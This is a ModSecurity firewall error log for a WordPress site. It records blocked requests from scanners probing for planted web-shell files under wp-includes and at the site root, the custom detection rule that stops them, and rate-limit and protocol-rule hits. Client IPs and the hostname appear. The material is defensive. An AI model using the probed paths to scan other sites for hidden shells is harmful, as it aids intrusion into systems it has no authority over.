[Mon Mar 02 19:25:34.752481 2026] [:error] [pid 28847:tid 28868] [client 45.8.17.68:37859] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aaVzrp9xbBq8VfeqVDb1PAAAANM"]
[Mon Mar 02 19:25:35.823073 2026] [:error] [pid 59734:tid 59755] [client 45.8.17.53:47631] [client 45.8.17.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaVzr5eWQx7ZQG9NybEJ6AAAAVM"]
[Mon Mar 02 19:25:36.972957 2026] [:error] [pid 59601:tid 59658] [client 45.8.17.143:56093] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aaVzsMQ1lXfvWN0-ZQl94wAAAFQ"]
[Mon Mar 02 19:25:37.649888 2026] [:error] [pid 59734:tid 59753] [client 45.8.17.53:27499] [client 45.8.17.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aaVzsZeWQx7ZQG9NybEJ6gAAAVE"]
[Mon Mar 02 19:25:38.309586 2026] [:error] [pid 59602:tid 59666] [client 45.8.17.94:36825] [client 45.8.17.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aaVzsjMtSo_Fr0lHnSY_twAAAIE"]
[Mon Mar 02 19:25:40.240682 2026] [:error] [pid 59602:tid 59669] [client 45.8.17.90:23691] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aaVztDMtSo_Fr0lHnSY_uwAAAIQ"]
[Mon Mar 02 19:25:41.387801 2026] [:error] [pid 59701:tid 59712] [client 45.8.17.69:64211] [client 45.8.17.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aaVzteUmTDVso96U9_K-EwAAAQg"]
[Mon Mar 02 19:25:43.355479 2026] [:error] [pid 59734:tid 59759] [client 45.8.17.98:52125] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aaVzt5eWQx7ZQG9NybEJ9gAAAVc"]
[Mon Mar 02 19:25:44.164096 2026] [:error] [pid 59701:tid 59725] [client 45.8.17.79:21015] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aaVzuOUmTDVso96U9_K-GgAAARU"]
[Mon Mar 02 19:25:45.176088 2026] [:error] [pid 28847:tid 28860] [client 45.8.17.190:25353] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aaVzuZ9xbBq8VfeqVDb1TwAAAMs"]
[Mon Mar 02 19:25:48.994435 2026] [:error] [pid 59600:tid 59623] [client 45.8.17.71:41457] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aaVzvIQ5lE4yocV9IBcjYgAAAA4"]
[Mon Mar 02 19:25:49.968035 2026] [:error] [pid 28847:tid 28863] [client 45.8.17.97:26651] [client 45.8.17.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aaVzvZ9xbBq8VfeqVDb1YgAAAM4"]
[Mon Mar 02 19:25:51.377692 2026] [:error] [pid 28847:tid 28873] [client 45.8.17.79:28761] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aaVzv59xbBq8VfeqVDb1agAAANg"]
[Mon Mar 02 19:25:51.990651 2026] [:error] [pid 59602:tid 59666] [client 45.8.17.90:25007] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aaVzvzMtSo_Fr0lHnSY_xAAAAIE"]
[Mon Mar 02 19:25:52.623922 2026] [:error] [pid 59602:tid 59689] [client 45.8.17.95:34205] [client 45.8.17.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aaVzwDMtSo_Fr0lHnSY_xwAAAJg"]
[Mon Mar 02 19:27:27.015547 2026] [:error] [pid 59701:tid 59705] [client 43.153.10.13:56438] [client 43.153.10.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaV0H-UmTDVso96U9_K-lgAAAQE"]
[Mon Mar 02 20:47:54.242736 2026] [:error] [pid 28847:tid 28852] [client 94.154.239.69:55896] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaWG-p9xbBq8VfeqVDY6-gAAAMM"]
[Mon Mar 02 20:47:56.707525 2026] [:error] [pid 59701:tid 59724] [client 94.154.239.69:33732] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaWG_OUmTDVso96U9_LR_gAAARQ"]
[Mon Mar 02 20:47:59.142080 2026] [:error] [pid 59602:tid 59665] [client 94.154.239.69:33734] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaWG_zMtSo_Fr0lHnSZizgAAAIA"]
[Mon Mar 02 20:48:01.686898 2026] [:error] [pid 59600:tid 59627] [client 94.154.239.69:33744] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaWHAYQ5lE4yocV9IBdSwAAAABI"]
[Mon Mar 02 20:48:04.212756 2026] [:error] [pid 59600:tid 59621] [client 94.154.239.69:33760] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaWHBIQ5lE4yocV9IBdSwwAAAAw"]
[Mon Mar 02 20:48:06.631790 2026] [:error] [pid 59701:tid 59712] [client 94.154.239.69:45502] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaWHBuUmTDVso96U9_LSEgAAAQg"]
[Mon Mar 02 23:01:43.871266 2026] [:error] [pid 28847:tid 28862] [client 119.96.24.54:47742] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaWmV59xbBq8VfeqVDae2QAAAM0"]
[Mon Mar 02 23:27:27.141099 2026] [:error] [pid 28847:tid 28849] [client 43.173.1.69:46726] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaWsX59xbBq8VfeqVDaxnQAAAMA"]
[Tue Mar 03 00:48:05.782611 2026] [:error] [pid 18960:tid 18986] [client 158.158.41.149:12398] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/black.php"] [unique_id "aaW_RdCu09icM9oIHwDLzQAAANc"]
[Tue Mar 03 00:48:07.964618 2026] [:error] [pid 60214:tid 60232] [client 158.158.41.149:32957] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/black.php"] [unique_id "aaW_R4muQ_v4S3RkLivkFAAAARA"]
[Tue Mar 03 00:48:08.818287 2026] [:error] [pid 60214:tid 60218] [client 158.158.41.149:14069] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/black.php"] [unique_id "aaW_SImuQ_v4S3RkLivkFwAAAQI"]
[Tue Mar 03 00:48:18.720576 2026] [:error] [pid 18558:tid 18860] [client 158.158.41.149:11827] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/black.php"] [unique_id "aaW_UrO1kQHjTOLioCmzJwAAAIY"]
[Tue Mar 03 00:48:19.789921 2026] [:error] [pid 18558:tid 18866] [client 158.158.41.149:5615] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaW_U7O1kQHjTOLioCmzLQAAAIw"]
[Tue Mar 03 00:48:20.729696 2026] [:error] [pid 60214:tid 60228] [client 158.158.41.149:4893] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaW_VImuQ_v4S3RkLivkPQAAAQw"]
[Tue Mar 03 00:48:21.548568 2026] [:error] [pid 18960:tid 18971] [client 158.158.41.149:22243] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaW_VdCu09icM9oIHwDMOAAAAMg"]
[Tue Mar 03 00:48:26.011818 2026] [:error] [pid 18960:tid 18980] [client 158.158.41.149:13160] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaW_WtCu09icM9oIHwDMSwAAANE"]
[Tue Mar 03 00:48:28.985551 2026] [:error] [pid 60214:tid 60234] [client 158.158.41.149:12399] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aaW_XImuQ_v4S3RkLivkWgAAARI"]
[Tue Mar 03 00:48:29.942057 2026] [:error] [pid 18557:tid 18841] [client 158.158.41.149:5146] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aaW_XdngZqR9Tp8JM0FQ0gAAAFI"]
[Tue Mar 03 00:48:31.913184 2026] [:error] [pid 18960:tid 18968] [client 158.158.41.149:5613] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aaW_X9Cu09icM9oIHwDMWwAAAMU"]
[Tue Mar 03 00:48:33.893806 2026] [:error] [pid 18558:tid 18871] [client 158.158.41.149:15868] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aaW_YbO1kQHjTOLioCmzQQAAAJE"]
[Tue Mar 03 00:48:35.617347 2026] [:error] [pid 18557:tid 18820] [client 158.158.41.149:13151] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aaW_Y9ngZqR9Tp8JM0FQ2AAAAEE"]
[Tue Mar 03 00:48:37.677943 2026] [:error] [pid 18556:tid 18758] [client 158.158.41.149:22228] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aaW_ZX9AYyTTd2eEk9E1uAAAAAM"]
[Tue Mar 03 00:48:38.698512 2026] [:error] [pid 60214:tid 60216] [client 158.158.41.149:15827] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aaW_ZomuQ_v4S3RkLivkdAAAAQA"]
[Tue Mar 03 00:48:51.415025 2026] [:error] [pid 18960:tid 18984] [client 158.158.41.149:22215] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aaW_c9Cu09icM9oIHwDMlAAAANU"]
[Tue Mar 03 00:48:53.324226 2026] [:error] [pid 18557:tid 18834] [client 158.158.41.149:4873] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aaW_ddngZqR9Tp8JM0FQ5wAAAEs"]
[Tue Mar 03 00:48:54.682348 2026] [:error] [pid 18960:tid 18963] [client 158.158.41.149:15327] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aaW_dtCu09icM9oIHwDMpwAAAMA"]
[Tue Mar 03 00:48:55.837192 2026] [:error] [pid 18557:tid 18831] [client 158.158.41.149:14028] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aaW_d9ngZqR9Tp8JM0FQ6wAAAEk"]
[Tue Mar 03 00:48:56.695053 2026] [:error] [pid 18960:tid 18964] [client 158.158.41.149:28322] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aaW_eNCu09icM9oIHwDMtgAAAME"]
[Tue Mar 03 00:48:58.082660 2026] [:error] [pid 18556:tid 18770] [client 158.158.41.149:22244] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aaW_en9AYyTTd2eEk9E10AAAAA8"]
[Tue Mar 03 00:49:01.275767 2026] [:error] [pid 18556:tid 18773] [client 158.158.41.149:15850] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aaW_fX9AYyTTd2eEk9E11wAAABE"]
[Tue Mar 03 00:49:02.395347 2026] [:error] [pid 18960:tid 18982] [client 158.158.41.149:32906] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aaW_ftCu09icM9oIHwDM2gAAANM"]
[Tue Mar 03 00:49:03.769743 2026] [:error] [pid 18960:tid 18986] [client 158.158.41.149:28316] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aaW_f9Cu09icM9oIHwDM5AAAANc"]
[Tue Mar 03 00:49:12.926013 2026] [:error] [pid 60214:tid 60225] [client 158.158.41.149:16833] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "aaW_iImuQ_v4S3RkLivk_AAAAQk"]
[Tue Mar 03 00:49:17.326327 2026] [:error] [pid 18960:tid 18965] [client 158.158.41.149:5739] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "aaW_jdCu09icM9oIHwDNFwAAAMI"]
[Tue Mar 03 00:49:17.967281 2026] [:error] [pid 18960:tid 18968] [client 158.158.41.149:5163] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "aaW_jdCu09icM9oIHwDNGwAAAMU"]
[Tue Mar 03 00:49:19.730722 2026] [:error] [pid 18558:tid 18877] [client 158.158.41.149:15815] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "aaW_j7O1kQHjTOLioCmzegAAAJc"]
[Tue Mar 03 00:49:22.390443 2026] [:error] [pid 18557:tid 18837] [client 158.158.41.149:9018] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aaW_ktngZqR9Tp8JM0FQ_wAAAE4"]
